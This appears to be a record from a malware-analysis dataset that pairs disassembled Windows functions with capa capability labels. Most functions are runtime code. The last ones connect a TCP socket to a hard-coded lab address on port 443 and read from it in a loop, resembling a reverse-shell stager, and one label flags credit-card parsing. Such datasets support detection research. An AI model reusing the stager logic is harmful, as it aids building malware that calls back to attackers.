joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41cde4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x468
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x41ceea
mov esi, dword [ebp + 0xc]
mov eax, 0xfffffff6
cmp dword [ebx + 0x10], esi
jbe 0x41cf02
mov ecx, dword [ebx + 0x48]
mov eax, dword [ecx]
test eax, eax
je 0x41ceef
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + esi*4]
lea edi, [eax + ecx]
add edi, 0x2e
movzx edx, word [edi - 0x12]
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x41ce4b
push eax
mov dword [esp + 8], edx
call fcn.0044f33c
mov edx, dword [esp + 8]
add esp, 4
mov dword [ebx + 0x5c], 0
mov ecx, edi
call fcn.0041cf0a
mov dword [ebx + 0x5c], eax
test eax, eax
je 0x41cef6
lea eax, [esp + 8]
push eax
push esi
push ebx
call fcn.00418e8b
add esp, 0xc
test eax, eax
je 0x41cefd
mov dword [ebx + 0x58], esi
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov dword [ebx + 0x6c], ecx
mov dword [ebx + 0x68], eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov dword [ebx + 0x60], ecx
mov dword [ebx + 0x64], eax
mov eax, dword [esp + 0x28]
mov dword [ebx + 0x70], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [ebx + 0x78], ecx
mov dword [ebx + 0x7c], eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov dword [ebx + 0xa4], ecx
mov dword [ebx + 0xa0], eax
movzx eax, word [esp + 0x1e]
mov word [ebx + 0xa8], ax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x44]
mov dword [ebx + 0x4e008], ecx
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x4e014], eax
mov dword [ebx + 0x4e010], ecx
xor eax, eax
jmp 0x41cf02
xor eax, eax
dec eax
jmp 0x41cf02
mov eax, 0xfffffff5
jmp 0x41cf02
mov eax, 0xfffffffe
jmp 0x41cf02
mov eax, 0xfffffffd
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x42318e
Capabilities:
Create directory

Disassembly:
push edi
push esi
call fcn.00422d8f
mov esi, eax
push eax
call fcn.0044df32
add esp, 4
mov edi, eax
push esi
call fcn.0044f33c
add esp, 4
mov eax, edi
pop esi
pop edi
ret
Function at 0x4247b1
Capabilities:
Get disk information

Disassembly:
push esi
push eax
xor eax, eax
mov esi, esp
mov dword [esi], eax
push eax
push eax
push eax
push eax
push esi
push eax
push eax
push 0x46837c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [esi]
add esp, 4
pop esi
ret

Function at 0x425542
Capabilities:
Get hostname

Disassembly:
push edi
push esi
push eax
mov eax, 0x400
mov edi, esp
mov dword [edi], eax
push eax
call fcn.0044f6e4
add esp, 4
mov esi, eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, esi
add esp, 4
pop esi
pop edi
ret

Function at 0x42f361
Capabilities:
Create process on windows
Encode data using base64
Parse credit card information
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push eax
call fcn.0040ae6c
mov dword [esp], 0x6077240
mov eax, 0x6077240
cmp eax, 0x6077240
je 0x42f383
cmp eax, 0x39d9b857
jne 0x42f373
jmp 0x42f394
call fcn.0040112c
call fcn.0041fc4f
mov eax, 0x39d9b857
jmp 0x42f373
mov dword [esp], eax
pop eax
jmp fcn.004279d4
Function at 0x4414bf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4414fe
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4414fe
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4414fe
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4414fe
cmp dword [ecx + 0x74], 0xe
jbe 0x4414fe
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44b489
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0044b6e0
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x44b601
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x44b601
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x44b5b0
jg 0x44b4e2
test eax, eax
je 0x44b5a6
push 1
push 0x1000
call fcn.00457600
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x44b508
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x44b59d
push 0x8000
push ebx
call fcn.0044d88c
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x44b534
jg 0x44b52f
cmp ecx, 0x1000
jb 0x44b534
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00457694
add esp, 0x10
cmp eax, 0xffffffff
je 0x44b579
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x44b52f
jl 0x44b560
test ecx, ecx
jne 0x44b521
push dword [ebp - 0xc]
push ebx
call fcn.0044d88c
push esi
call fcn.004554f4
add esp, 0xc
xor edi, edi
jmp 0x44b612
cmp byte [edi + 0x24], 0
je 0x44b590
cmp dword [edi + 0x20], 5
jne 0x44b590
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x44b59b
mov edi, dword [edi + 0x18]
jmp 0x44b59d
xor edi, edi
push esi
call fcn.004554f4
pop ecx
jmp 0x44b612
test ecx, ecx
jg 0x44b572
jl 0x44b5b0
test eax, eax
jae 0x44b572
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0045818a
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x44b5d3
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x44b572
jmp 0x44b60a
push ebx
call fcn.004571cc
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x44b572
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x44b612
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x44b60f
mov edi, dword [edi + 0x18]
jmp 0x44b612
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0045818a
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44c4ce
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00440ea0
mov eax, dword [0x474720]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0044c096
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x44c510
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x44c66c
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00459ab0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x475b70]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004581f3
mov ecx, dword [esi*4 + 0x475b70]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x44c665
cmp eax, dword [edi + ecx + 0x24]
jne 0x44c665
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x44c665
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004581f3
add esp, 0x14
test edx, edx
jl 0x44c665
jg 0x44c5db
test eax, eax
jb 0x44c665
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x44c665
jl 0x44c5f5
cmp dword [ebp - 0x1008], eax
ja 0x44c665
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x44c613
test ebx, ebx
je 0x44c64c
cmp ecx, edi
jae 0x44c64c
mov al, byte [ecx]
cmp al, 0xd
jne 0x44c62d
lea eax, [edi - 1]
cmp ecx, eax
jae 0x44c639
cmp byte [ecx + 1], 0xa
jne 0x44c639
inc ecx
jmp 0x44c639
movzx eax, al
movsx eax, byte [eax + 0x474ea0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x44c613
cmp edx, ebx
jne 0x44c613
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x44c66a
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00441918
leave
ret
Function at 0x44e310
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x474720]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x469404
push esi
call fcn.004589d8
pop ecx
pop ecx
test eax, eax
jne 0x44e33e
xor al, al
jmp 0x44e3bb
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.0044e0a1
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x44e378
push dword [ebp - 0x210]
call fcn.0044f33c
xor al, al
jmp 0x44e3b9
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x44e37e
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x44e39e
push edx
call fcn.0044e261
pop ecx
test al, al
je 0x44e369
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x44e3ac
mov bl, 1
push dword [ebp - 0x210]
call fcn.0044f33c
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00441918
leave
ret

Function at 0x453c50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x453c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x453c7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x453fcd
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x46aef4
push str.FlsAlloc
push 0x1e
call fcn.004542b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x454001
push dword [ebp + 8]
mov ecx, esi
call dword [0x47048c]
call esi
jmp 0x454007
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x45404b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x46af18
push str.FlsGetValue
push 0x20
call fcn.004542b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x454082
push dword [ebp + 8]
mov ecx, esi
call dword [0x47048c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x45928c
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x474720]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4592d7
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00459402
test al, al
jne 0x4592d1
sub edx, 2
cmp edx, edi
jne 0x4592b7
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4592f9
lea eax, [edi + 2]
cmp edx, eax
je 0x4592f9
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004591d8
add esp, 0x10
jmp 0x4593f3
push esi
lea ecx, [ebp - 0x255]
call fcn.00459402
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x45933c
push dword [ebp - 0x25c]
jmp 0x4592e9
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x459379
cmp word [ebp - 0x226], 0
je 0x45939a
cmp word [ebp - 0x226], ax
jne 0x459379
cmp word [ebp - 0x224], 0
je 0x45939a
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004591d8
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4593e6
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x459353
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4593ce
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4593f3
push 0x459426
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00461d30
add esp, 0x10
jmp 0x4593c3
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00441918
leave
ret
Function at 0x45a1df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x475b70]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x45a21f
cmp byte [ebx], 0xa
jne 0x45a21f
or byte [eax + edi + 0x28], 4
jmp 0x45a224
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x45a322
mov al, byte [edx]
cmp al, 0x1a
je 0x45a304
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x45a253
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x45a278
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x45a282
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x45a235
jmp 0x45a322
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x45a2ff
cmp dword [ebp - 0xc], 0
je 0x45a2ff
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x475b70]
test byte [eax + edi + 0x28], 0x48
je 0x45a2d9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x45a2c4
mov byte [esi], dl
jmp 0x45a2d5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x475b70]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x45a322
cmp byte [ebp - 1], 0xa
jne 0x45a2e8
cmp esi, ebx
jne 0x45a2e8
mov byte [esi], 0xa
jmp 0x45a321
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0045818a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x45a322
mov byte [esi], 0xd
jmp 0x45a321
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x475b70]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x45a31e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x45a322
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x45a32b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x475b70]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x45a36e
cmp word [esi], dx
jne 0x45a36e
or byte [edi + eax + 0x28], 4
jmp 0x45a373
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x45a4c6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x45a4a6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x45a3b5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x45a3eb
cmp eax, edx
jae 0x45a3f7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x45a38d
jmp 0x45a4c6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x45a4a2
cmp dword [ebp - 0x14], 0
je 0x45a4a2
mov eax, dword [ebx*4 + 0x475b70]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x45a47a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x45a443
mov word [esi], cx
jmp 0x45a476
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x475b70]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x475b70]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x475b70]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x45a4c6
pop ebx
cmp word [ebp - 4], bx
jne 0x45a48b
cmp esi, dword [ebp + 0xc]
jne 0x45a48b
mov word [esi], bx
jmp 0x45a4c3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0045818a
add esp, 0x10
cmp word [ebp - 4], bx
je 0x45a4c6
push 0xd
jmp 0x45a4bf
mov ecx, dword [ebx*4 + 0x475b70]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x45a4bd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x45a4c6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x45a58a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x45a59b
pop esi
ret
push ebx
push edi
push esi
call fcn.0045a5d8
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00455e3f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x45a5c3
push ebx
push esi
push edi
call fcn.00443560
add esp, 0xc
push 0
call fcn.004554f4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x45a60f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0045a61a

Function at 0x45dcb3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0045dcbe
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401747
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x8e0
mov dword [ebp - 0x8c9], 0x464d7862
mov dword [ebp - 0x8c5], 0x6572436c
mov dword [ebp - 0x8c1], 0x50654c6b
mov dword [ebp - 0x8bd], 0x4c6a526d
mov dword [ebp - 0x8b9], 0x4a4a7159
mov dword [ebp - 0x8b5], 0x79786665
mov dword [ebp - 0x8b1], 0x41757761
mov dword [ebp - 0x8ad], 0x7842706f
mov dword [ebp - 0x8a9], 0x41476b4c
mov dword [ebp - 0x8a5], 0x496f436a
mov dword [ebp - 0x8a1], 0x56497273
mov dword [ebp - 0x89d], 0x6347646d
mov dword [ebp - 0x899], 0x5478
lea eax, [ebp - 0x895]
mov ecx, 0x889
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x8c9]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x8e0
pop ebx
pop edi
pop ebp
ret

Function at 0x401826
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x40188b
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x40188b
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401842
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4018c2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018fd
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov dword [esp], str.192.168.93.128
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401922
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x1bb
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401993
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov eax, dword [ebp - 0xc]
leave
ret